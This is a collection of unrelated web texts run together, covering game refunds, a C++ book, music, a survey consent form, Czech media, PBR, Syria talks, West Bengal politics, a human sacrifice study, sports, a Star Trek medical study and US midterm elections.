The fact that players are getting refunds for games after being played for 50 hours is something that's pretty unheard of for PSN and Steam. Steam's refund policy, though relatively new, only qualifies you to have spend 2 or fewer hours of game time, but its competitor, GOG.com lets players return the game after 30 days. However, Steam is making an exception in this case due to high demand.
Do you agree with Shahid? Do you think players should know before investing 50 hours whether a game is worth playing or not? Or do you think games should have return policies similar to GOG's 30-day policy?Scott Meyers' highly anticipated new book Effective Modern C++ is on the way:
From the announcement:
In recent days, two major milestones for Effective Modern C++ have been achieved. First, I sent a draft of the book's Introduction out for technical review. That was the last part of the book to be written, so I finally have a full draft manuscript. Second, I received an image of the book cover from my publisher, so I now know what the book will look like.
...
Early October: Digital versions of the book become available.
Digital versions of the book become available. Late October: Print versions of the book become available.
If you're dying to see what's in the book, and you don't mind dealing with a manuscript that's in draft form (and hence contains technical errors, awkward prose, Item titles in need of revision, primitive diagrams, confusing explanations, and, I hope, some stuff in decent shape), Effective Modern C++ will be part of O'Reilly's Early Release Program, meaning you'll have a chance to see the book in the same form as my technical reviewers. You'll also be able to offer comments on it. As things stand now, the book is slated to be available in Early Release form the week of July 7th.You know when a sound takes you right back to a time and place you thought had been buried deep within the crevices of your psyche? That's how you'll feel when you hear President T's brand new track "Ending Careers", where the North London grime legend delivers a fiery freestyle over a golden era instrumental from Danny Weed.
"Ending Careers" is the first taster from President T's upcoming album, T on the Wing, which he's dropping as a surprise early Christmas present on December 23. The album features a bunch of names from grime's hall of fame, including Ghetts, P Money, JME, Bossman Birdie, Big H, Bruza, Solarge, as well as productions from Levlz, Blay Vision and Danny Yen. It also acts as a prequel to another album he's releasing in Spring next year, Stranger Returns. So basically, there's so much President T music on the way, it'll be splitting your headphones in half.
Listen below:INFORMED CONSENT FORM Researcher/Main Contact: Lyndsay Wybrew, lwybrew@yorku.ca
My name is Lyndsay Wybrew, and I am a student in the York University/Sheridan College Program in Design at York University. The purpose of this research is to examine any potential relationships between food allergies and frequency/enjoyment of dining out, and to see how the dining experience can be improved for both restaurants and diners when it comes to food allergies. Using the information gathered, I intend to present my findings and further secondary research analysis in a research report and design project, to be completed later on in the school year.
I am asking you to participate in this research project by answering the following questions. Please note that you are under no obligation to participate in this study. You have every right to decline to answer questions or terminate you participation at any point during the questionnaire.
Any data used to illustrate these findings will be stripped of any information that might be used to identify participants. Data will be kept safely and only accessible to the researcher Lyndsay Wybrew, alone. The resulting data of this interview will not made available to participants. However, once the data is edited for participant anonymity, it will appear in the resulting research proposal. Participants may contact the researcher should they wish to view this proposal when completed. There are no expected risks for participants.
If you have any questions about the research in general or about your role in the study, please contact Lyndsay Wybrew by email at, lwybrew@yorku.ca. If you have any questions about the project itself and the class in which it has been assigned, please contact Adam Antoszek-Rallo at adam.antoszekrallo1@sheridancollege.ca. This research has been reviewed by the Research Ethics Committee in the Department of Design at York University and conforms to the standards of the Canadian Tri Council Research Ethics guidelines. If you have any questions about this process, or about your rights as a participant in the study, please contact the Ethics Committee Chair, David Gelb at dgelb@yorku.ca.“Of course I was surprised that something like this… maybe not happened, but that something like this was recorded.
“It could be the fact that something like this is happening at other Czech media as well.
“But this is proof that the management of some media is forcing their editorial staff, the journalists, to broadcast or write about some concrete theme from the same position as the management of the TV has.
“My reaction was, This is important, this is interesting and we have to write about it – because it’s in the public interest.”
How do you feel the journalists at that meeting should have reacted?
“I think they must have been surprised, but I can’t be sure it happened for the first time only.
“We know that one the journalists immediately after this meeting decided to leave Prima.
“But clearly many of the journalists are still working there. Maybe they don’t consider it a problem or they are afraid they can lose their job, they have families, they want to work there.
“You know, it’s hard to judge them.”
Some people might say that Prima is a commercial TV station not a public broadcaster, many Czechs do have a negative view of refugees, and that Prima should be free to appeal to that section of the Czech audience.
“Prima and other Czech media – or every media in the world – have the right to have their own view on anything.
“But it’s a basic journalistic law, let’s say, that news and opinion should differ.
“When you have an opinion, you have an opinion, but when you have news, news should be objective and neutral. You can’t do news according to the opinion of the management of a TV station.”
Do you expect any consequences for this revelation for TV Prima?
“Definitely there will be some outcome. The Czech Council for Radio and Television Broadcasting will be working on this. In fact I expect some small fine in the future.
“The boss of the council told us that they’re going to make another analysis of the Prima’s broadcasting and it will be finished maybe some time in the autumn – which is really a long time from this story.”In PBR's Big Milwaukee Homecoming, The Brewing Giant Goes Micro
Enlarge this image toggle caption LaToya Dennis for NPR LaToya Dennis for NPR
Think about Milwaukee, and two things probably come to mind: cheese and beer. And with good reason. The city is built on a foundation of breweries. Among those, the most famous today is Miller — but that's not how it always was.
Established in 1844, Pabst Blue Ribbon was the first of the great Milwaukee brewers and the first beer company to produce 1 million barrels a year. But in 1996, Wisconsin's long-brewing pillar packed up and shipped out of Milwaukee, contracting out the production of its beer to other brewers like Miller.
Now, nearly two decades later, PBR is returning to town, and to its sprawling, historic compound — a place that spans seven city blocks. But don't be fooled by the scale of the building; the brewing giant will be making its homecoming with a microbrewery, complete with restaurant and tasting room, inside the original complex.
"It's very exciting for us to have this innovation laboratory, and to be back in our hometown. There's so much loyalty and passion for the brand," Eugene Kashper, Pabst's CEO, told the Milwaukee Journal Sentinel last month. "But we will always try to tie that back to our roots."
Gregory Deuhs, master brewer for Pabst, says that opening a microbrewery in Milwaukee is about more than coming home. It's about bringing back some old favorites — including some beers out of the past.
"Of course Pabst Blue Ribbon, as well as the other Pabst products that were under that umbrella like Andecker, the Pabst Bock, Kloster beer."
But Deuhs also says the microbrewery will be a testing ground for new recipes, which, if successful, could be produced for wider consumption.
"It could seem like a natural progression. Microbrews are in many ways the antithesis of mainstream breweries," says Caleb Warren, a marketing professor at Texas A&M University.
Though Warren does warn that the move could backfire.
"It might seem like the brand is just doing this to try to gain money or gain market share, which is basically the death toll of saying the brand's no longer autonomous."
That said, brand autonomy isn't exactly on the mind of every PBR drinker. Take younger people like Jessica Desimon.
"People always make fun of me, but I'm a pretty big Pabst fan," she says. "Wherever I go I still bring like a 12-pack or something of PBR. And I always just get made fun of because I get kind of prideful cause it's like in Milwaukee."
Depending on how the microbrewery pans out, PBR plans to open others outside its hometown.Carlo Allegri, pool, AFP | (From left to right) Turkey’s Feridun Sinirlioglu, John Kerry of the US, Saudi Arabia's Adel al-Jubeir and Russia's Sergei Lavrov met for the talks in Vienna on October 23, 2015
The United States, Russia, Saudi Arabia and Turkey put forward new ideas Friday to revive a failed push for a political transition in Syria that could end the country’s civil war, U.S. Secretary of State John Kerry said Friday.
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But they remained deeply divided over the future of Syrian President Bashar Assad.
The top diplomats from the four countries agreed to meet again in an expanded format with representatives from other nations next week, but the only concrete result of this week’s talks appeared to be an agreement between Jordan and Russia to coordinate military operations in Syria. Kerry said there was no decision on whether to invite Iran, a major patron of Syria.
Kerry said that he, Russian Foreign Minister Sergey Lavrov, Saudi Foreign Minister Adel al-Jubeir and Turkish Foreign Minister Feridun Sinirlioglu went over proposals to restart moribund talks on how to create a transitional government for Syria. Kerry gave no details.
“I am convinced, having been part of this process since the day I became secretary that today’s meeting was constructive and productive and succeeded in surfacing some ideas, which I am not going to share today, but which I hope have a possibility of changing the dynamic,” Kerry told reporters after the meeting.
Lavrov said he has invited the U.S., Saudi Arabia and Turkey to join the coordination center that Russia and Jordan agreed earlier Friday that they would set up to integrate their air campaigns over Syria. Jordan is a member of the U.S.-led coalition that is bombing Islamic State facilities in Iraq and Syria. The coalition has so far refused to cooperate with Russia’s operations beyond a basic agreement intended to prevent mid-air incidents. Mohammad al-Momani, Jordanian government spokesman said the agreement did not mean that Jordan was leaving the coalition.
Kerry, traveling to Jordan later Friday for talks with King Abdullah II and Palestinian leader Mahmoud Abbas, said the new ideas “are in keeping with all of the principles that have been laid down and with sensitivities of the nations and the parties, the opposition, all those involved in this effort.”
'Russia, US could find common ground'
A leading Syrian opposition group, the Syrian National Council, was unconvinced.
“We will not accept the presence of Assad for one day in the transitional period,” said Anas al-Abdah, a member of the coalition, said in a statement emailed to AP.
Meeting again next week
Kerry said the countries’ representatives would meet again as early as next Friday to determine whether there is enough reason to proceed.
The U.S., Turkey and Saudi Arabia all share the view that Syrian President Bashar Assad must go if the conflict is to be resolved. Russia, however, is Assad’s prime backer, along with Iran. Russia began airstrikes in Syria last month that it said were aimed at Islamic State militants, but the U.S. and its allies say the bombing is bolstering Assad rather than targeting militants.
Kerry said that despite Russian and Iranian support for Assad, the U.S. and allied nations “understand that Assad creates an impossible dynamic for peace.” That situation, Kerry said, “has to be resolved,” suggesting political talks could patch up the differences.
Lavrov said Russia’s support for Assad remains strong despite what he described as “rumors” that the current talks were aimed at eventually easing the Syrian president from power.
“Our partners have some obsession with the figure of the Syrian president, but we reaffirmed our position,” Lavrov said. He pointed to Russian President Vladimir Putin’s warning during recent talks with Assad in Moscow that a narrow focus “on a concrete figure” during the height of the continuing conflict could lead to a “grave crisis.”
Should talks include Iran?
One item on the agenda, Kerry said, was which nations should be included political transition discussions. Russia is keen to bring Iran into the talks, but Saudi Arabia is opposed. The Obama administration has said repeatedly that all the countries with an interest in Syria, including Iran and Russia, need to agree on what the transition should bring: a unified, secular and pluralistic Syria governed with the consent of its people. Assad, the administration, says is the only thing standing in the way.
Syria is in its fifth year of a civil war that has killed hundreds of thousands, spurred a massive refugee crisis in Europe and led to the emergence of the Islamic State group and Russia’s direct military intervention.
Friday’s meetings in Vienna - site of the world’s last major international diplomatic success, the Iran nuclear deal in July - followed a surprise visit by Assad on Tuesday to Moscow. There, he and Putin discussed Russia’s military operations in Syria that the U.S. and others say are bolstering Assad and not targeting Islamic State militants, as Russia claims.
Putin said Thursday that Assad had told him he is ready to talk with his political foes. Putin also defended Russia’s bombing campaign, saying it would set the |
an agricultural and, therefore, a backward economy? Will there be no change in this regard?
I
n health, despite the chief minister’s flying visits to a few hospitals and shows of temper there, no improvements are visible. The increasing number of deaths of babies, in fact, suggests that things have not changed. In education, steps have been taken to depoliticize the system. But there seem to be no schemes afoot to raise standards. One Presidency University, even if it is allowed to become an institution of international excellence, will not change the system. The chief minister’s thinking on education remains vague at best. There is no perceptible improvement in law and order and there is apprehension that the incidence of crime and violence is on the rise because the police are often taken to task for trying to stop violence and are prone to act in a manner designed to please the chief minister. The public finances of the state are in parlous state; for all practical purposes it is bankrupt. The chief minister’s persistent lament that the central government deprives West Bengal carries little or no credibility. The reiteration of the word ‘chief minister’ in the previous paragraph is deliberate because every single aspect of governance and administration has come to be focused in the persona of the chief minister. Nothing happens without the consent of Mamata Banerjee and the best proposals can be set aside if she disapproves of them. Ministers, bureaucrats and police officers have lost their initiative and independence. A one-woman demolition squad of the CPI(M) has now become a one-woman government. This is exactly the opposite of the promise of a transparent and efficient democratic government. The dangers embedded in this situation were evident in the slew of irresponsible statements that have emanated from the chief minister. The worst of these was her announcement that the Park Street rape case was entirely fabricated to defame her government. And the most comic of these was her response when asked in New Delhi about a spate killings in Burdwan, ‘Ask the state government.’ She forgot, she is the state government.
W
orse was to follow. In April 2012, an academic was roughed up by supporters of the Trinamool Congress and subsequently arrested by the police. His fault was that he had circulated by e-mail a cartoon making fun of the chief minister. Suddenly, there were questions among the intelligentsia of West Bengal about freedom of expression and individual liberty. Such questions, even in the darkest days of communist rule in the state, had not occurred to anyone. Not that the communist regime was free of oppression and intimidation. The cadre of the CPI(M) bullied people and tried at times to infringe on the basic rights of individuals and institutions and they successfully controlled the latter through shrewd manipulation. But all this did not lead to any major transgression of fundamental rights. If it had, Mamata Banerjee would never have come to power. She came to power through democratic means and by waging a relentless campaign against the Left, a campaign that would not have been possible or successful had the Left effectively stifled democratic rights and expression. When she sat on a hunger strike in Esplanade and then later blocked a major highway for days on end, the state administration did not send in the police to break up the protests and neither did the CPI(M) let loose its goons on the demonstrators.
O
ne cannot readily recall the Left Front government or communist leaders being overtly interested in what was circulating in private mails and in what was being written (or said) in newspapers and on television. There was one notorious case of a young man being detained because he had posted something abusive about Jyoti Basu on his website. This was roundly condemned and never repeated. The Left had its own organs of expression through which it articulated its views and often ridiculed what was written in what it dubbed ‘the bourgeois press’. All this was considered par for the democratic course. Under Mamata Banerjee, the Bengali word, paribartan, acquired very ominous overtones. Her regime came to be seen as irresponsible, intolerant of criticism displaying a pronounced propensity for authoritarianism. The three adjectives used in the previous statement need to be explained separately. A woman is raped and the chief minister describes the incident as being staged (sajano is the Bengali word she used) by a section of the media. This was irresponsible because there was no need for the chief minister to have made any comment on this. Her extreme intolerance to criticism is shown, first by her decision to banish from government libraries those newspapers that were critical of her, and second, by her condoning of the arrest of a professor who had forwarded by email a set of cartoons that poked fun at her. Her authoritarianism is manifest in her refusal to listen to anyone. She acts as if she knows everything.
T
he incidents cited above are by no means isolated. On the contrary, they are part of a long series. Similar instances could easily be multiplied. There is no need for that. What is more important is that the true character of her regime is revealed by the fact that her party cadre repeatedly attack and beat up people who they think are opposed to the Trinamool Congress. The police take no action against those who perpetrate such acts of violence. In one case, the police refused to take action against a group of people who attacked journalists in spite of an FIR; in another the police stood by while a demonstration on a major thoroughfare was attacked. In both cases, TV footage exists to identify the attackers. But in other cases, the police act with alacrity on an FIR even when they know that the charge is flimsy. This suggests two conclusions. One, the political cadre, like the Blackshirts and the Stormtroopers, are taking law into their own hands to settle political scores with opponents and dissidents. Two, the police force has become an extension of the party in power. It is not acting to uphold law and order and not behaving in a manner to protect citizens from violence. It is acting to promote the interests of the ruling party. There is a remarkable similarity between this and the way things were under the aegis of the CPI(M). It is difficult, if not impossible, to believe that all this happens without the knowledge of the chief minister. In fact, there are grounds to suspect that most of these things happen at her behest. Her utterances condoning some of the worst manifestations of arbitrariness and breach of the rule of law are proof of this. Any student of history with a modicum of familiarity with pre-Second World War European history will recognize in the developments discussed above the emergence of a form of rule that completely destroyed democracy in the 1930s in Italy, Germany and Russia. In these countries, everything was made subservient to the interests of the party and to the whims and insecurities of one individual.
T
here is no denying that some elements of authoritarianism and its attendant intimidation were present during Left rule in West Bengal. But in spite of attempts to suppress dissent and to subvert individual rights, the spirit of democracy could not be quelled. The Left was dislodged even though it took an inordinately long time for that to happen. But in a bizarre irony the very agent who made the defeat of the Left possible is now threatening democracy and freedom. This turn towards authoritarianism is marked by a sharp decline in the political vocabulary in the state. This decline begins with the chief minister. She publicly reprimanded her security staff with the telling words, ‘You lot should be whipped,’ and followed it by the threat to photographers that they should be slapped. Violence has become such an important marker that even an expression of frustration is laced with it – ‘[s]hould I go and beat up the prime minister?’ the chief minister had asked in a public meeting. These are some examples of the prevalent vocabulary. Such statements are evidence of a sharp decline in the political vocabulary of West Bengal, a kind of lumpenization of political culture. The process of this degeneration can be traced back to the years when communists ruled the state and when they were dominant in public life. There are still people around who will remember the kind of language the communists used to attack Congress leaders like Prafulla Sen and Atulya Ghosh. The Naxalites, often exalted as heroes of a generation, were particularly crude in the abuse of those they considered ‘class enemies’. But to be fair to the communists, abuse and the vocabulary of the lumpen were not the only kinds of discourse available when they dominated public culture in West Bengal. In this context, one needs to remember the poetry, the theatre and a certain intellectual ambience that the communist party fostered and, for a long time, encouraged. Even in straightforward political discourse the descent into abuse is a relatively recent phenomenon among communists – one has only to recall the erudite oratory of Hiren Mukerjee in Parliament and in the course of election campaigns, the urbane sophistication of Somnath Lahiri when he spoke in the Constituent Assembly and later to the public at large or even of Jyoti Basu when he was at his best in election meetings.
T
he difference today is that a lumpenized rhetoric is the only one that is available. And like water it flows downwards from the top. There are too many political figures of the ruling dispensation prone to using words and epithets that are abusive and have seldom been heard before. Even the more educated members of the ruling party are not entirely free of this particular tendency. On rare occasions Left leaders, as if in retaliation, have also used abusive language. But on one notable occasion, the leader concerned earned a reprimand from the party. Not surprisingly, the abusive language is complemented by the threat of physical violence and, on quite a few occasions, violence has actually taken place. There is the growing fear in West Bengal that violence lurks just below the surface. Goons enjoying political patronage often take law into their own hands to settle personal and political scores. In parts of Calcutta, shooting in the streets is not an uncommon occurrence. Thus while Tagore’s songs play at traffic lights a lumpen raj prevails on the streets. What could be more charming and more revealing about the antinomies of Bengali culture?
I
would suggest that the debasing of political vocabulary is a symptom of an alarming malaise. One feature of the contemporary political culture is the restriction of the space for the three Ds – difference, debate and dissent – that lie at the very core of the fourth D – democracy. The political culture, especially, has come to be dominated by intolerance, the obverse of the three Ds. It is an intolerance that is directed not only at political opponents of the ruling party but at anyone who voices an opinion that is different from and critical of the views of the chief minister. Any criticism is seen as an expression of the views of either Maoists or the CPI(M), even when they are voiced by a young college student just out of school. One immediate result of this is the complete supineness of the bureaucracy and the police who are over-eager to please the chief minister. This led, notoriously, to the arrest as mentioned earlier of an academic who had circulated a cartoon. In that particular case, the police acted with surprising alacrity. But the same police force is rendered inactive when Trinamool Congress supporters manhandle television cameramen and reporters or, most shamefully, when a police officer is shot dead and the killer flees in spite of the presence of a posse of policemen. The narrowing of the democratic space and the imposition of an individual’s will on the institutions of governance are manifestations of a growing authoritarianism. ‘I am the State’, appears to be the principle according to which the present chief minister operates: to this end promises can be made and ‘facts’ about achievements doled out. Woe betide those who dare to differ. There have been occasions in the past to bemoan the political fortunes of West Bengal. The people of the state voted overwhelmingly for change but not a change for the worse. The hopes of a change for the better now lie in shambles. The emergence of a lumpen political culture manifest in words and deeds, directed by the unashamed exaltation of an individual leader carries within it the seeds of a political formation that is the exact antithesis of not only democracy but also of any kind of civilized existence.
T
he people of West Bengal cannot claim that they are not implicated in their own plight. For 34 years they allowed themselves to be ruled by one political formation. They replaced it by another that is no more than a mirror image of its predecessor. The state now has a chief minister who refuses to govern; whose politics never stretch beyond populism; whose lack of respect for democratic norms and rights are becoming prominent every passing day. Does this worry the people of Bengal? Apparently not. For them, all said and done, there is the past when a master politician from western India patted Bengal on the back and declared Bengal’s today is tomorrow’s India. In the 21st century, Bengal has neither a today nor a tomorrow.Researchers believe human sacrifice (remains in Papua New Guinea shown) played a role in building stable communities with social hierarchies
Human sacrifice may seem brutal and bloody by modern social standards, but it was a common in ancient societies.
Now, researchers believe the ritualised killing of individuals to placate a god played a role in building and sustaining stable communities with social hierarchies.
In particular, a study of 93 cultures across Asia, Oceana and Africa, has found the practices helped establish authority and set up class-based systems.
Human sacrifice was once widespread throughout these Austronesian cultures, which used it as the ultimate punishment, for funerals and to consecrate new boats.
Sacrificial victims were typically of low social status, such as slaves, while instigators were of high social status, such as priests and chiefs, installing a sense of fear in the lower classes.
Since the European colonisation of Central America 500 years ago - when Conquistadors were horrified by the Aztecs' sacrificial practices - experts have claimed ritualised killings were a form of social catharsis.
They described them as a justification for political conflicts and even a source of protein when combined with cannibalism.
Researchers from the universities of Wellington and Auckland, the Max Plank Institute for the Science of Human History in Germany, the Australian National University and the Allan Wilson Centre for Molecular Ecology and Evolution in New Zealand set out to test the assumption they sanctified authority.
Joseph Watts, lead author of the study, published in Nature, studied the evolutionary family trees of 93 traditional Austronesian societies.
These societies spanned a large range of environments and social structures, from egalitarian societies to complex civil governments.
'Austronesian cultures have been described as a natural laboratory for cross-cultural research due to the diversity of environments they inhabit and cultural features they have evolved,' the study explained.
Human sacrifice was once widespread in Austronesian cultures, across Asia, Oceana and Africa. It was used as the ultimate punishment, for funerals and to consecrate new boats. A study of 93 cultures suggests sacrifices legitimised class-based systems. An illustration of an 18th century sacrifice in Tahiti is shown
The correlation between human sacrifice and high social straification among traditional Austronesian cultures is shown above. Ritualistic killing of humans was practiced in 25 per cent of egalitarian societies studied, 37 per cent of moderately stratified societies and 67 per cent of highly stratified societies
HUMAN SACRIFICE IN AUSTRONESIAN CULTURES Human sacrifice was once widespread throughout traditional Austronesian cultures. 'Common occasions for human sacrifice in these societies included the breach of taboo or custom, the funeral of an important chief, and the consecration of a newly built house or boat,' the study explained. Sacrificial victims were typically of low social status, such as slaves, while instigators were of high social status, such as priests and chiefs. 'The methods of sacrifice included burning, drowning, strangulation, bludgeoning, burial, being crushed under a newly built canoe, being cut to pieces, as well as being rolled off the roof of a house and then decapitated,' the study added.
For each culture, the researchers recorded the presence or absence of human sacrifice and coded the level of social hierarchy.
Cultures that lacked inherited differences in wealth and status were labelled as being egalitarian and those with strict hierarchies passed down generations, as having high social stratification.
Analysis revealed evidence of human sacrifice in 43 per cent of cultures sampled.
Ritualistic killing of humans was practiced in 25 per cent of egalitarian societies studied, 37 per cent of moderately stratified societies and 67 per cent of highly stratified societies.
The researchers constructed models to test the co-evolution of human sacrifice and social hierarchy and found that human sacrifice stabilises social hierarchy once the system has arisen.
They said it also promotes a shift to strictly inherited class systems, so that people of a high social class will continue to stay important over time, because of ritualistic killing.
'In Austronesian cultures human sacrifice was used to punish taboo violations, demoralise underclasses, mark class boundaries, and instill fear of social elites - proving a wide range of potential mechanisms for maintaining and building social control,' they wrote.
'In Austronesian cultures human sacrifice was used to punish taboo violations, demoralise underclasses, mark class boundaries, and instill fear of social elites proving a wide range of potential mechanisms for building social control,' the study said. A luakini heiau or human sacrifice temple in Hawaii is shown
'While there are many factors that help build and sustain social stratification, human sacrifice may be a particularly effective means of maintaining and building social control because it minimises the potential of retaliation by eliminating the victim, and shifts the agent believed to be ultimately responsible to the realm of the supernatural.'
Based on their findings, the researchers suggest religious rituals had a darker role in the evolution of modern, complex societies.
'In traditional Austronesian cultures there was substantial religious and political overlap, and ritualised human sacrifice may have been co-opted by elites as a divinely sanctioned means of social control,' the experts wrote.Pedro Leon jumps to Eibar
By Football Espana staff
Pedro Leon has left Getafe and signed for Eibar, agreeing a two-year contract with Los Armeros.
Leon spent six years with El Geta and in a message on his Twitter account spoke of his ‘tremendous pride’ in the club, and his disappointment that he and his now-former teammates ‘failed miserably’ in avoiding relegation last season.
“I have tried to give everything of myself in these colours to make you as proud as I am of this club. I would like to have said goodbye in other circumstances,” Leon’s statement added.
Getafe confirmed Leon’s exit on Tuesday evening and shortly after Eibar announced they had picked up the 29-year-old, who worked with Eibar Coach Jose Luis Mendilibar when both were at Real Valladolid.PITTSBURGH (KDKA) — Earthmovers have been razing the sprawling riverfront site in Hazelwood in anticipation of major new construction.
And for the past five months, the city has been trying to secure a deal for Kennametal to build its new world headquarters there. But now, those plans have scrapped.
“We found out yesterday, late yesterday, that unfortunately, they’ve suspended that potential headquarters new construction,” said Kevin Acklin, the chief-of-staff for Mayor Bill Peduto.
It’s tough times for Kennametal and for the steel industry it serves.
The company has laid off 1,000 workers worldwide and their stock price has dropped by more than 50 percent as demand for its steel-cutting technology has markedly declined.
Earlier in the month, it fired its CEO, and the new boss Ronald DeFeo is reportedly eyeing further belt-tightening.
Acklin said the combination of an industry slowdown and new management spelled death for the new headquarters.
“It’s not unexpected with those two big, uncontrollable variables that a company like Kennametal would say, ‘Hey, let’s way and see what’s happening before we move forward with a permanent headquarters location,’” Acklin said.
The ending of talks mirrors the action of U.S. Steel which pulled the plug on building its new world headquarters on the old Civic Arena site Uptown, citing the same deteriorating markets conditions.
For now, most of Kennametal’s administrative staff will continue operating out of the U.S. Steel building, and most of local operation will stay at its Westmoreland County facility.
That’s welcome news to state Sen. Kim Ward.
“This is great news for Westmoreland County, and I hope it’s permanently good news for Westmoreland County,” she said. “It never made any sense to many of us in Westmoreland County that a company that was struggling in the market and losing money to decide that was the best time to pick up and move away.”The Redskins head into their week one matchup against the Philadelphia Eagles as winners of the previous 5 outings. Forty five weeks of regular season play has passed since the last time the Redskins were defeated by their division rival, which is likely the reason the Eagles right tackle Lane Johnson guaranteed a victory against the Redskins on Sunday. The highly touted phrase in sports comes to mind when Johnson spoke, the “Due Theory”, and besides the standard preparation, that’s likely what he’s banking on.
On the Redskins front, this match-up is different from the last time the Eagles won, and the five meetings occurring their week three game back in 2014. The Redskins best wide receivers, and two of the top tier in the NFL is gone. Pierre Garcon and Desean Jackson are in San Francisco and Tampa Bay respectively, which has drastically impacted the production and talent of the wide receiving core.
Since 2014, in six games against the Eagles, DeSean Jackson and Pierre Garcon combined for 60 catches, 910 receiving yards, and 15.2 yards per catch. While the two combined for only six touchdowns, it’s not just the amount of times that they have reached the end zone that matters. Garcon has made clutch catches on game-winning drives against the Eagles, and Jackson bailed out the Redskins offense when they were sputtering. Kirk Cousins is now without those two weapons, which makes the strength versus strength match-up between Washington and Philadelphia a little more even.
Kirk Cousins is 4-1 against the Eagles, with his first start against them being in 2014. He’s compiled an impressive stat line to date with 1,579 passing yards, 64 percent completion percentage, 12 touchdowns with only three interceptions, and a 102.9 passer rating. So, with Garcon and Jackson elsewhere, Cousins loses 58 percent of his yardage total, and half of his touchdowns. So, here’s the big question with Cousins heading into Sunday: can he put the team on his back?
Outside of Jamison Crowder, the lack of chemistry displayed in pre-season is alarming for the Cousins and the Redskins receiving group. Additionally, the offensive line has had their struggles across the board. Again, the Redskins offense against the Eagles defense has become leveled. If Cousins receivers struggle to win match-ups he will need to improvise against a top-tier pass rush, and the Redskins will have to gain traction in the running game if they want to relieve any type of pressure on the offensive line and the passing game.
It’s not all on Cousins to get the job done, but it certainly is critical that Kirk serves as the key to establishing offensive success. His last two games against the Eagles, he has thrown two pick-sixes, and coming back from critical mistakes will be difficult against this stout 2017 Eagles team. Philly’s front seven this year has not lost a step, adding a prominent SEC pass-rusher in Derek Barnett, who has been solid this pre-season. Their secondary is not drastically improved, but the addition of cornerback Ronald Darby to go along with Pro Bowler Malcolm Jenkins at safety has made that group competent. It will be a collective effort from everyone to step their game up, and as head coach Jay Gruden expressed in his presser, they’ll need to play with a sense of urgency.
What do you think? Who which unit has the upper hand? Vote in the poll and share your thoughts in the comments below.Star Trek might be the most positive portrayal of humans in the future in science fiction. Poverty, war (between humans), even money have all been eliminated. Among all that wishful thinking, researchers at the Medical University of Vienna wondered what Gene Roddenberry thought the future holds for cardiac arrest. Their answer was surprisingly disappointing.
Science fiction is a natural inspiration for people trying to make science reality. Credit cards, solar energy, automatic doors, even skywriting were all invented in fiction before real engineers took up the task. So what futuristic solution did Star Trek create to eliminate the cardiac arrest?
Nothing.
After analyzing 526 episodes of Star Trek: The Next Generation, Star Trek: Deep Space Nine and Star Trek: Voyager, the researchers found 96 cases of cardiac arrest, 90 percent of which were fatal. According to statistics from the American Heart Association, that’s more or less the same as today, where 92 percent of cardiac arrest cases are fatal outside of the hospital.
They did note, however, that the causes of cardiac arrest were different in the Star Trek future according to Live Science. The most likely cause was trauma, serious physical injuries, blasts from energy weapons or poisoning.
Today, the most common cause of cardiac arrest is a heart attack. A heart attack is the blocking of an artery that causes severe damage to the heart, cardiac arrest is a sudden electrical malfunction in the heart that causes it to stop beating or beat irregularly, forcing the victim to go unconscious and quickly die if not treated immediately.
Those causes differ dramatically, and that might be the whole point. A burst from an energy weapon may be far more entertaining for the audience than someone keeling over suddenly in engineering.
The researchers drew a different conclusion from their Star Trek study, saying, “this invites the conclusion that people in the future will be living much more healthily and will have better preventative medicine than we do now.”
The Star Trek study did highlight the most critical issue in cardiac arrest: time.
The researchers concluded that unrelated technology, like Star Trek‘s teleporter, allowed patients quicker access to medical care. Today, the critical difference between life and death is often how long it takes to reach the nearest hospital, or if anyone close by knows CPR.
The researchers wrote, “cardiac arrest remains a critical event in the 24th century… quick access to medical help and new prognostic tools, established by the 24th century will help treat people in cardiac arrest.”
In the end, the study may have been a disappointing in terms of true insight, but it still highlights the need for haste in these kinds of emergencies.
The full Star Trek study was published in the Resuscitation Journal and can be found here.
[Image via NBC Television]Democrats have a problem and everyone knows it. President Obama calls it a “congenital disease.” If they can’t control it, Obama could spend the final years of his presidency battling not only a Republican House but also a Republican Senate.
Democrats don’t vote in midterm elections. That’s an exaggeration, of course, but the core of the Democratic coalition is made up of many people who turn out to vote only in presidential elections. The Republican coalition — older and whiter — suffers less from midterm falloff.
So much has been made of the building blocks the president assembled to win his two elections — the outpouring of voters younger than 30; the long lines at precincts in African American communities; the support he engendered among the rising Hispanic population; the growing support for him and Democrats generally among unmarried women.
But a Republican victory in a special congressional election in a winnable district in Florida last month has put many Democrats, including the president, on edge. “Our voters... get excited about general elections,” Obama said at a recent fundraiser in Houston. “They don’t get as excited about midterm elections.”
Obama hopes to stir his base to action and in the past two weeks has been trying to push all the buttons. He invoked the slaying of civil rights workers in the 1960s to implore a largely African American audience in New York to take advantage of their right to vote. At the White House a few days before that, he pushed the issue of pay equity for women. Around the country, he and other Democrats have seized on raising the minimum wage to draw a contrast with Republicans. He chastised House Republicans in a statement this past week for not moving on immigration reform.
View Graphic See how voter turnout waned across key demographic groups in 2010
But the president, hobbled by weak approval ratings, may be a drag on Democrats in some of the places his party will be fighting hardest this fall. And Republicans appear more motivated, spurred by their opposition to the Affordable Care Act.
Meanwhile, Democrats are banking on the belief that they can better identify potential supporters, motivate them and get them to the polls — in essence, reshape the midterm electorate to make it look more like the electorate in a presidential year. To try to do so, they will for the first time fully employ the sophisticated tools and techniques used in Obama’s presidential campaigns to aid Senate and some House candidates.
Republicans need to pick up a net of six seats to take control of the Senate. For Democrats, the most endangered seats are in Montana, South Dakota and West Virginia. Incumbents Kay Hagan in North Carolina, Mary Landrieu in Louisiana, Mark Pryor in Arkansas and Mark Begich in Alaska are in difficult campaigns, most in states Obama twice lost badly.
And Republicans see opportunities in Michigan, where Sen. Carl Levin (D) is retiring; in New Hampshire, now that Scott Brown, the former Massachusetts senator, has decided to take on Sen. Jeanne Shaheen (D); in Colorado, where Rep. Cory Gardner’s challenge to Sen. Mark Udall (D) has changed the race; and possibly in Iowa, where Rep. Bruce Braley (D) has stumbled in recent weeks in his Senate bid.
Democrats see opportunities to win two seats held by Republicans. One is in Kentucky, where Senate Minority Leader Mitch McConnell has a fight on his hands. The other is in the race for an open seat in Georgia.
The Democratic Senatorial Campaign Committee (DSCC) is assembling what Executive Director Guy Cecil said will be a $60 million effort — with the money coming from the DSCC, individual campaigns and other national and state party committees — in targeted races. Proportionately, the committee will spend more on field organizing and less on television than in the past.
